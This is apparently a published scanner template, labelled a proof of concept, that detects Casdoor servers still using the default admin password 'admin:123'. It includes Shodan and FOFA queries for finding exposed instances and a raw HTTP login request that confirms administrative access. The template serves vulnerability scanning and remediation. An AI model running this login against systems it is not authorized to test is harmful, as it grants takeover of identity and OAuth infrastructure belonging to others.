casdoor-default-login: Casdoor - Default Admin Credentials

2026-04-09 Casdoor PoC Public

Description

Detected Casdoor platform was found to have been using the default administrator credentials (admin:123). An attacker could have gained full administrative access to manage organizations, users, applications, and OAuth providers.

PoC

id: casdoor-default-login

info:
  name: Casdoor - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected Casdoor platform was found to have been using the default administrator credentials (admin:123). An attacker could have gained full administrative access to manage organizations, users, applications, and OAuth providers.
  reference:
    - https://casdoor.org/docs/basic/core-concepts/
    - https://github.com/casdoor/casdoor
  metadata:
    verified: true
    max-request: 2
    vendor: casdoor
    product: casdoor
    shodan-query: 'http.title:"Casdoor"'
    fofa-query: 'title="Casdoor" || body="casdoor"'
  tags: casdoor,default-login,auth,vuln

variables:
  username: "admin"
  password: "123"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "casdoor", "casbin", "app-built-in")'
        condition: and

  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}

        {"application":"app-built-in","organization":"built-in","username":"{{username}}","password":"{{password}}","autoSignin":true,"signinMethod":"Password","type":"login"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"status\":\"ok\"", "\"data\":\"built-in/")'
        condition: and
# digest: 4a0a00473045022100fd22429f24a5766f8075e5544bb760400323fd226c04a159275c42fd143b457402206270260c2105de40ccbc3bfa7034d9895d0f3bf9ff94023e11959acc22d0e72d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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